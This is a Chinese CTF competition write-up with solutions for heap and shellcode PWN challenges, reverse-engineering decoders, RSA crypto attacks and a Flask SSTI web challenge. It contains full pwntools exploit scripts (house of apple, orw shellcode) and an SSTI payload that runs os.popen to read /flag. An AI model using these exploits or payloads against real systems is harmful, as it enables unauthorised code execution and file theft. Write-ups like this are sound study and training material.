PWN

babyheap

2.35打IO,堆溢出overlap,只有一次edit,但是size数组可以溢出改edit次数,然后打house of apple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('192.168.18.22', 8888)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(index, size, content):
r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'idx', str(index))
r.sendlineafter(b'size', str(size))
r.sendafter(b'content', content)

def delete(index):
r.sendlineafter(b'choice', b'2')
r.sendlineafter(b'idx', str(index))

def show(index):
r.sendlineafter(b'choice', b'3')
r.sendlineafter(b'idx', str(index))

def edit(index, content):
r.sendlineafter(b'choice', b'4')
r.sendlineafter(b'idx', str(index))
r.send(content)

for i in range(9):
add(i, 0x3f0, b'a')

for i in range(8):
delete(i)

add(10, 0x400, b'a')
add(11, 0x30, b'a')
show(11)
libc_base = get_libc() - 0x21b061

edit(11, b'a' * 0x10)
show(11)
r.recvuntil(b'a' * 0x10)
heap = u64(r.recv(6)[-6:].ljust(8, b'\x00')) - 0x1e90

libc = ELF('./2.35/libc.so.6')
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
one = [0x50a47, 0x50a47, 0x50a47, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
ogg = one[6] + libc_base

add(20, 0x90, b'a')

add(13, 0x20, b'a')
add(14, 0x18, b'a')
add(15, 0x20, b'a')
add(16, 0x20, b'a')

edit(14, b'a' * 0x18 + p64(0x61))
delete(15)
add(15, 0x50, b'a')
delete(13)
delete(16)

addr = (heap >> 12) ^ (_IO_list_all + 2)
edit(15, b'a' * 0x28 + p64(0x30) + p64(addr))
add(12, 0x20, b'a')

target_addr = heap + 0x2aa0 + 0x10

p2 = b'\x00'
p2 = p2.ljust(0x28, b'\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\x00') + p64(target_addr + 0x210)
add(0, 0x200, p2)
add(1, 0x200, p2)

p3 = b'\x00'
p3 = p3.ljust(0x68, b'\x00') + p64(ogg)
add(2, 0x200, p3)

add(10, 0x20, p64(target_addr))

r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'idx', b'1')
r.sendlineafter(b'size', b'1111111111111')

r.interactive()

cool_book

堆有可执行权限, 创建的堆地址存放在栈上,直接通过index=49往返回地址写堆地址,往堆里写一次read,第二次read构造orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('192.168.18.25', 8888)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(index, content):
r.sendlineafter(b'3.exit', b'1')
r.sendlineafter(b'input idx', str(index))
r.sendafter(b'content', content)

r.recvuntil(b'addr=0x')
heap_addr = int(r.recv(12), 16)
li(hex(heap_addr))

p = b'\x31\xff\x48\x81\xc6\x10\x03\x00\x00\x48\xc1\xea\x24\x0f\x05\x90'
add(49, p)

r.sendlineafter(b'3.exit', b'3')

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, heap_addr, 0x30)
shellcode += shellcraft.write(1, heap_addr,0x30)
r.sendline(asm(shellcode))

r.interactive()

REVERSE

vbs

脚本去混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Option Explicit

Function Defuscator(vbs)
Dim t
t = InStr(1, vbs, "Execute", 1)
t = Mid(vbs, t + Len("Execute"))
t = Eval(t)
Defuscator = t
End Function

Dim fso, i
Const ForReading = 1
Set fso = CreateObject("Scripting.FileSystemObject")
For i = 0 To WScript.Arguments.Count - 1
Dim FileName
FileName = WScript.Arguments(i)
Dim MyFile
Set MyFile = fso.OpenTextFile(FileName, ForReading)
Dim vbs
vbs = MyFile.ReadAll
WScript.Echo Defuscator(vbs)
MyFile.Close
Next

Set fso = Nothing

简单凯撒之后直接进行base64解码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def caesar(text, offset):
result = ""
length = len(text)

for i in range(length):
char = text[i]

if 'A' <= char <= 'Z':
char = chr((ord(char) - ord('A') + offset) % 26 + ord('A'))
result += char
elif 'a' <= char <= 'z':
char = chr((ord(char) - ord('a') + offset) % 26 + ord('a'))
result += char
else:
result += char

return result


# 示例用法
encoded = caesar("NalvN3hKExBtALBtInPtNHTnKJ80L3JtqxTboRA/MbF3LnT0L2zHL2SlqnPtJLAnFbIlL2SnFT8lpzFzA2JHrRTiNmT9", 12)
print(encoded)

flag{VB3_1s_S0_e1sY_4_u_r1gh3?btw_1t_iS_a1s0_Us3Fu1_a3D_1nTe3eSt1ng!}

re5

有异常处理改变了key和num,key可以通过调试发现是2233,然后看一下汇编找到对应异常处理的函数,sum是rand和 32轮 32个rand的和 写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>

#define DELTA 0x61C88647
void Decrypt(uint32_t* data, int* key) {
uint32_t value1, value2;
int totalSum = 0;
uint32_t randomNumbers[64] = {0};

// 生成随机数并打印
for (int i = 0; i < 32; i++) {
randomNumbers[i] = rand();
printf("0x%x,", randomNumbers[i]);
}

value1 = data[0];
value2 = data[1];

// 计算随机数的总和
for (int i = 0; i < 32; i++) {
totalSum += randomNumbers[i];
}

// 解密操作
for (int i = 0; i < 32; ++i) {
value2 -= (key[3] + (value1 >> 5)) ^ (totalSum + value1) ^ (key[2] + 16 * value1);
value1 -= (key[1] + (value2 >> 5)) ^ (totalSum + value2) ^ (key[0] + 16 * value2);
totalSum -= randomNumbers[32 - i - 1];
}

data[0] = value1;
data[1] = value2;

// 打印解密后的结果
printf("%x,%x\n", value1, value2);
}

int main() {
uint32_t encryptedData[] = {
0xea2063f8, 0x8f66f252, 0x902a72ef,
0x411fda74, 0x19590d4d, 0xcae74317,
0x63870f3f, 0xd753ae61
};

int keys[] = {2, 2, 3, 3};
srand(0);

// 对每一对数据进行解密
for (int i = 0; i < 4; i++) {
Decrypt(&encryptedData[i * 2], keys);
}

// 输出解密后的数据
puts((char*)&encryptedData);
return 0;
}

just_exec

base编码+rc4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
exp如下
# 定义密钥
secret_key = "v3ry_s3cr3t_p@ssw0rd"

# 加密数据(十六进制表示)
encrypted_data = [
0x17, 0x96, 0x97, 0x2c, 0x34, 0x8b, 0xc4, 0xfe,
0x7a, 0x19, 0x30, 0xb8, 0x33, 0xff, 0x10, 0xa8,
0x0a, 0xb2, 0x81, 0x62, 0x77, 0x31, 0xab, 0x70,
0x5d, 0xac, 0xac, 0xfe, 0xf2, 0xe2, 0x80, 0x4d,
0x74, 0xab, 0x6b, 0xc1, 0x9f, 0x60
]
# 0x2e,0xa9,0x99,0x14,0x1a,0x8c,0xc9,0xe4,0x79,0x75,0x26,0x93,0x40,0xc1,0x77,0xc7,0x26,0xa8,0xaa,0x73,0x29,0x53,0xa6,0x6a,0x6a,0xf1,0x83,0xbc,0xd9,0xce,0xc8,0x46,0x4a
# 初始化 S-盒
s_box = list(range(256))
index_j = 0

# 生成 S-盒
for index_i in range(256):
index_j = (index_j + s_box[index_i] + ord(secret_key[index_i % len(secret_key)])) % 256
s_box[index_i], s_box[index_j] = s_box[index_j], s_box[index_i]

# 解密结果存储
decrypted_flag = ''
index_i = index_j = 0

# RC4 解密过程
for byte in encrypted_data:
index_i = (index_i + 1) % 256
index_j = (index_j + s_box[index_i]) % 256
s_box[index_i], s_box[index_j] = s_box[index_j], s_box[index_i]
t = (s_box[index_i] + s_box[index_j]) % 256
key_byte = s_box[t]
decrypted_flag += chr(byte ^ (key_byte + 2)) # 异或解密并转换为字符

# 输出解密后的标志
print(decrypted_flag)

CRYPTO

ezrsa

解题思路:这种题型出现过好几次了,最近的一次是在强网杯的apbq的stage3,参考文章https://tangcuxiaojikuai.xyz/post/df3f7032.html#more

文中分析到

C1=ap+q

C2=p+bq

(c1-q)(c2-p)=0(mod n)

C1c2-c1p-c2q=0(mod n)

用lll可以规约出来,小范围爆破一下

C1c2-c1(2**2p_h+i)-c2(2**2q_h+j)=0(mod n)

Tarscc

参考文章

https://dexterjie.github.io/2023/09/12/%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/2023%E9%A2%86%E8%88%AA%E6%9D%AF/

参考论文 New Attacks on RSA with Small Secret CRT-Exponents

https://www.iacr.org/archive/pkc2006/39580001/39580001.pdf

得到结果后将Y_var作为n的因子解rsa即可

1
2
3
4
5
6
7
8
c =
41862679760722981662840433621129671566139143933210627878095169470855743742734397276638345217059912784871301273620533442249011607182329472311453700434692358352210197988000738272869600692181834281813995048665466937302183039555350612260646428575598237960405962714063137455677605629008760761743568236135324015278
p = 144996003362760405215910388196517232449311004246441924325936847006315296003811348342536838359
q = N // p
fn=(p-1)*(q-1)
d = pow(e, -1, fn)
m = pow(c, d, N)
print(long_to_bytes(int(m)))

WEB

python口算

修改前端代码将间隔时间改大,得到 /static/f4dd790b-bc4e-48de-b717903d433c597f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang=en>
<head>
<meta charset=UTF-8>
<title>calc</title>
</head>
<body>
<h1>Are you ready for this?</h1>
<p>请在1秒内输入答案哦~</p>
<form action="/" method="get">
<input id="text" type="text" name="answer">
<input id="submit" type="submit" name="Submit">
</form>
<p>Think more</p>
<script>
document.addEventListener('DOMContentLoaded', function() {
const fetchData = () => {
fetch('/calc')
.then(response => response.text())
.then(data => {
document.querySelector('h1').innerText = data
})
.catch(error => {
console.error('Error fetching data:', error);
});
};

setInterval(fetchData, 30000);
});
</script>
</body>
</html>

post参数username存在ssti注入,读到了app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, render_template, request
import random
import re
from urllib.parse import unquote

app = Flask(__name__)

def generate_random_expression():
operators = ['+', '-', '*', '/']
expression = []
number = random.randint(1000, 10000)
expression.append(str(number))
for _ in range(random.randint(10, 20)):
operator = random.choice(operators)
next_number = random.randint(1, 1000)
expression.append(operator)
expression.append(str(next_number))
return ' '.join(expression)

def calculate_expression(expression):
try:
result = eval(expression)
return result
except ZeroDivisionError:
print("Division by zero is not allowed. Return zero!!!")
return 0

def whitelist_filter(text, patterns):
for pattern in patterns:
if re.search(pattern, text):
return True
return False

def blacklist_filter(text):
for pattern in blacklist_patterns:
if re.search(pattern, text):
return True
return False

whitelist_patterns = [r'[()*\-0-4a-z%~]']
blacklist_patterns = [r'\\\\', r'\\x', r'\\u', r'\brequest\b', r'\bargs\b', r'\s', r'<', r'>', r'\?', r'#', r'\^', r'&']

global current_expr
current_expr = "1+1"
solved = 0

@app.route('/calc')
def calc():
global current_expr
current_expr = generate_random_expression()
return current_expr

@app.route('/', methods=['GET', 'POST'])
def index():
global current_expr
global solved
while solved == 0:
answer = request.args.get('answer')
print(str(answer))
print(str(calculate_expression(current_expr)))
if str(answer) == str(calculate_expression(current_expr)):
solved = 1
else:
return render_template('calc.html', result="Think more")

username = 'ctfer!'
if request.form.get('username'):
username = request.form.get('username')
print(username)
if whitelist_filter(unquote(username), whitelist_patterns):
if blacklist_filter(unquote(username)):
return render_template_string("black filtered")
else:
print("你过关!")
else:
return render_template_string("white filtered")

return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

if __name__ == '__main__':
app.run(debug=False)

绕过空格,最终payload:username={{self.\**init**.**globals**.**builtins**\['\**import**']('os').popen('cat${IFS}/flag').read()}}